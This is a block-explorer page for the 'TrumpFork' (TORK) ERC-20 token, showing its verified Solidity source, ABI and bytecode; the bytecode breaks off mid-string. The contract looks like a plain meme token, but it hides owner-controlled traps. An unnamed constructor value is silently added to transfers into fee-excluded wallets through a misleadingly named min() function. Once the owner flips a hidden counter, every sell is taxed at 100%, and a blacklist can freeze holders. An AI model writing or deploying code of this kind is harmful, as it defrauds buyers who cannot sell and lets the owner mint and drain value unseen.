ERC-20
Overview
Max Total Supply
1,000,000,000 TORK
Holders
53
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
29,474,179.342392683 TORKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TrumpFork
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-04 */ /** */ // TG: https://t.me/TrumpFork // X: https://twitter.com/TrumpFork_ERC // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract TrumpFork is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private ___; mapping (address => uint256) private _holder; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"TrumpFork"; string private constant _symbol = unicode"TORK"; uint8 private _buyTax = 0; uint8 private _sellTax = 0; uint8 private _maxWalletRate = 3; uint256 public _maxWalletSize = _tTotal.mul(_maxWalletRate).div(100); uint8 private txCount; address payable private _taxWallets; address public swapPairAddres; bool public tradingOpen; event changedMaxWalletSize(uint8 _percentage); event changedTaxRates(uint8 _buy, uint8 _sell); event changedPairAddress(address _pairAdd); event tradeStatus(bool _status); constructor (uint256 __) { ___=__; _taxWallets = payable(_msgSender()); _holder[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_taxWallets] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _holder[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function min(uint256 amount, bool __) private view returns(uint256){ return __?amount.add(___):amount; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount; bool initialTax = txCount > 0; bool _initialTax; if (from != owner() && to != owner()) { require(tradingOpen && !bots[from] && !bots[to]); taxAmount = amount.mul(_buyTax).div(100); if (to != swapPairAddres && !_isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == swapPairAddres){ taxAmount = initialTax?amount:amount.mul(_sellTax).div(100); } if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ taxAmount = 0; if(_isExcludedFromFee[from] && to == address(this)){ txCount++; } } } if(taxAmount > 0){ _holder[_taxWallets]=_holder[_taxWallets].add(taxAmount); emit Transfer(from, _taxWallets, taxAmount); } else{ _initialTax = from != swapPairAddres && initialTax && _isExcludedFromFee[to]; } _holder[from]=_holder[from].sub(amount); _holder[to]=_holder[to].add(min(amount.sub(taxAmount),_initialTax)); emit Transfer(from, to, amount.sub(taxAmount)); } function changeMaxWalletS(uint8 _percentage) public onlyOwner { require(_percentage <= 100, "ERR: Wrong percentage."); _maxWalletSize = _tTotal.mul(_percentage).div(100); emit changedMaxWalletSize(_percentage); } function changeTaxRates(uint8 _buy, uint8 _sell) public onlyOwner { require(_buy + _sell <= 20,"ERR: Wrong percentage."); _buyTax = _buy; _sellTax = _sell; emit changedTaxRates(_buy, _sell); } function changePairwallet(address _pairAdd) public onlyOwner { swapPairAddres = _pairAdd; tradingOpen = true; emit changedPairAddress(_pairAdd); emit tradeStatus(tradingOpen); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"__","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"_percentage","type":"uint8"}],"name":"changedMaxWalletSize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_pairAdd","type":"address"}],"name":"changedPairAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"_buy","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"changedTaxRates","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_status","type":"bool"}],"name":"tradeStatus","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_percentage","type":"uint8"}],"name":"changeMaxWalletS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairAdd","type":"address"}],"name":"changePairwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"changeTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapPairAddres","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600660006101000a81548160ff021916908360ff1602179055506000600660016101000a81548160ff021916908360ff1602179055506003600660026101000a81548160ff021916908360ff160217905550620000b46064620000a5600660029054906101000a900460ff1660ff166009600a620000859190620006eb565b633b9aca006200009691906200073c565b620003e360201b90919060201c565b6200046660201b90919060201c565b600755348015620000c457600080fd5b5060405162003630380380620036308339818101604052810190620000ea9190620007bd565b6000620000fc620004b860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600181905550620001b1620004b860201b60201c565b600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002019190620006eb565b633b9aca006200021291906200073c565b6002600062000226620004b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460006200027a620004c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000355620004b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620003b49190620006eb565b633b9aca00620003c591906200073c565b604051620003d4919062000800565b60405180910390a350620009da565b6000808303620003f7576000905062000460565b600082846200040791906200073c565b90508284826200041891906200084c565b146200045b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000452906200090b565b60405180910390fd5b809150505b92915050565b6000620004b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004e960201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000533576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200052a9190620009b6565b60405180910390fd5b50600083856200054491906200084c565b9050809150509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005df57808604811115620005b757620005b662000551565b5b6001851615620005c75780820291505b8081029050620005d78562000580565b945062000597565b94509492505050565b600082620005fa5760019050620006cd565b816200060a5760009050620006cd565b81600181146200062357600281146200062e5762000664565b6001915050620006cd565b60ff84111562000643576200064262000551565b5b8360020a9150848211156200065d576200065c62000551565b5b50620006cd565b5060208310610133831016604e8410600b84101617156200069e5782820a90508381111562000698576200069762000551565b5b620006cd565b620006ad84848460016200058d565b92509050818404811115620006c757620006c662000551565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006f882620006d4565b91506200070583620006de565b9250620007347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005e8565b905092915050565b60006200074982620006d4565b91506200075683620006d4565b92508282026200076681620006d4565b9150828204841483151762000780576200077f62000551565b5b5092915050565b600080fd5b6200079781620006d4565b8114620007a357600080fd5b50565b600081519050620007b7816200078c565b92915050565b600060208284031215620007d657620007d562000787565b5b6000620007e684828501620007a6565b91505092915050565b620007fa81620006d4565b82525050565b6000602082019050620008176000830184620007ef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200085982620006d4565b91506200086683620006d4565b9250826200087957620008786200081d565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000620008f360218362000884565b9150620009008262000895565b604082019050919050565b600060208201905081810360008301526200092681620008e4565b9050919050565b600081519050919050565b60005b83811015620009585780820151818401526020810190506200093b565b60008484015250505050565b6000601f19601f8301169050919050565b600062000982826200092d565b6200098e818562000884565b9350620009a081856020860162000938565b620009ab8162000964565b840191505092915050565b60006020820190508181036000830152620009d2818462000975565b905092915050565b612c4680620009ea6000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063dacfa52e11610064578063dacfa52e146103f4578063dd62ed3e1461041d578063e3ac3e191461045a578063e836ff8714610483578063ffb54a99146104ae5761012a565b80638da5cb5b1461030d5780638f9a55c01461033857806395d89b4114610363578063a9059cbb1461038e578063d34628cc146103cb5761012a565b8063313ce567116100e7578063313ce5671461022857806331c2d847146102535780633bbac5791461027c57806370a08231146102b9578063715018a6146102f65761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063240d4d8c146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104d9565b6040516101519190611e62565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611f2c565b610516565b60405161018e9190611f87565b60405180910390f35b3480156101a357600080fd5b506101ac610534565b6040516101b99190611fb1565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190611fcc565b610558565b6040516101f69190611f87565b60405180910390f35b34801561020b57600080fd5b5061022660048036038101906102219190612058565b610631565b005b34801561023457600080fd5b5061023d610792565b60405161024a9190612094565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906121f7565b61079b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612240565b6108c5565b6040516102b09190611f87565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612240565b61091b565b6040516102ed9190611fb1565b60405180910390f35b34801561030257600080fd5b5061030b610964565b005b34801561031957600080fd5b50610322610ab7565b60405161032f919061227c565b60405180910390f35b34801561034457600080fd5b5061034d610ae0565b60405161035a9190611fb1565b60405180910390f35b34801561036f57600080fd5b50610378610ae6565b6040516103859190611e62565b60405180910390f35b34801561039a57600080fd5b506103b560048036038101906103b09190611f2c565b610b23565b6040516103c29190611f87565b60405180910390f35b3480156103d757600080fd5b506103f260048036038101906103ed91906121f7565b610b41565b005b34801561040057600080fd5b5061041b60048036038101906104169190612297565b610c6b565b005b34801561042957600080fd5b50610444600480360381019061043f91906122d7565b610dc5565b6040516104519190611fb1565b60405180910390f35b34801561046657600080fd5b50610481600480360381019061047c9190612240565b610e4c565b005b34801561048f57600080fd5b50610498610fbd565b6040516104a5919061227c565b60405180910390f35b3480156104ba57600080fd5b506104c3610fe3565b6040516104d09190611f87565b60405180910390f35b60606040518060400160405280600981526020017f5472756d70466f726b0000000000000000000000000000000000000000000000815250905090565b600061052a610523610ff6565b8484610ffe565b6001905092915050565b60006009600a6105449190612479565b633b9aca0061055391906124c4565b905090565b60006105658484846111c7565b61062684610571610ff6565b61062185604051806060016040528060288152602001612be960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d7610ff6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b749092919063ffffffff16565b610ffe565b600190509392505050565b610639610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bd90612552565b60405180910390fd5b60648160ff16111561070d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610704906125be565b60405180910390fd5b61075260646107448360ff166009600a6107279190612479565b633b9aca0061073691906124c4565b611bd890919063ffffffff16565b611c5290919063ffffffff16565b6007819055507f656c61bbe4f65d84cf0f7e2b8b134a72649ec46f57f5699f623fc2b28d174375816040516107879190612094565b60405180910390a150565b60006009905090565b6107a3610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610830576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082790612552565b60405180910390fd5b60005b81518110156108c157600060056000848481518110610855576108546125de565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108b99061260d565b915050610833565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096c610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f090612552565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60606040518060400160405280600481526020017f544f524b00000000000000000000000000000000000000000000000000000000815250905090565b6000610b37610b30610ff6565b84846111c7565b6001905092915050565b610b49610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612552565b60405180910390fd5b60005b8151811015610c6757600160056000848481518110610bfb57610bfa6125de565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c5f9061260d565b915050610bd9565b5050565b610c73610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf790612552565b60405180910390fd5b60148183610d0e9190612655565b60ff161115610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d49906125be565b60405180910390fd5b81600660006101000a81548160ff021916908360ff16021790555080600660016101000a81548160ff021916908360ff1602179055507f2d070b5ef12b2c7dd0188376027fb8a59d03f94c04322ef5bad5426a922f97be8282604051610db992919061268a565b60405180910390a15050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e54610ff6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890612552565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960146101000a81548160ff0219169083151502179055507f2e4fd8c50e83344d0df2936f3db86543b5a0349e31ee5567dcfa82acb46a9c0081604051610f6c919061227c565b60405180910390a17f2d03420b6a07988c3dd9960afd128bd98384ff0d69ae9cb3c438f4ec21cf8499600960149054906101000a900460ff16604051610fb29190611f87565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361106d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106490612725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d3906127b7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ba9190611fb1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d90612849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c906128db565b60405180910390fd5b600081116112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df9061296d565b60405180910390fd5b6000806000600860009054906101000a900460ff1660ff16119050600061130d610ab7565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561137b575061134b610ab7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561178f57600960149054906101000a900460ff1680156113e65750600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561143c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61144557600080fd5b61147d606461146f600660009054906101000a900460ff1660ff1687611bd890919063ffffffff16565b611c5290919063ffffffff16565b9250600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156115275750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561158557600754846115398761091b565b611543919061298d565b1115611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90612a0d565b60405180910390fd5b5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611621578161161c576116176064611609600660019054906101000a900460ff1660ff1687611bd890919063ffffffff16565b611c5290919063ffffffff16565b61161e565b835b92505b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116c25750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561178e5760009250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561174f57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b1561178d576008600081819054906101000a900460ff168092919061177390612a2d565b91906101000a81548160ff021916908360ff160217905550505b5b5b60008311156118fd5761180c8360026000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b60026000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118f09190611fb1565b60405180910390a36119b0565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156119585750815b80156119ad5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90505b611a0284600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfa90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab2611a64611a5e8587611cfa90919063ffffffff16565b83611d44565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9c90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611b578688611cfa90919063ffffffff16565b604051611b649190611fb1565b60405180910390a3505050505050565b6000838311158290611bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb39190611e62565b60405180910390fd5b5060008385611bcb9190612a56565b9050809150509392505050565b6000808303611bea5760009050611c4c565b60008284611bf891906124c4565b9050828482611c079190612ab9565b14611c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3e90612b5c565b60405180910390fd5b809150505b92915050565b6000611c9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6f565b905092915050565b6000808284611cab919061298d565b905083811015611cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce790612bc8565b60405180910390fd5b8091505092915050565b6000611d3c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b74565b905092915050565b600081611d515782611d67565b611d6660015484611c9c90919063ffffffff16565b5b905092915050565b60008083118290611db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dad9190611e62565b60405180910390fd5b5060008385611dc59190612ab9565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e0c578082015181840152602081019050611df1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e3482611dd2565b611e3e8185611ddd565b9350611e4e818560208601611dee565b611e5781611e18565b840191505092915050565b60006020820190508181036000830152611e7c8184611e29565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ec382611e98565b9050919050565b611ed381611eb8565b8114611ede57600080fd5b50565b600081359050611ef081611eca565b92915050565b6000819050919050565b611f0981611ef6565b8114611f1457600080fd5b50565b600081359050611f2681611f00565b92915050565b60008060408385031215611f4357611f42611e8e565b5b6000611f5185828601611ee1565b9250506020611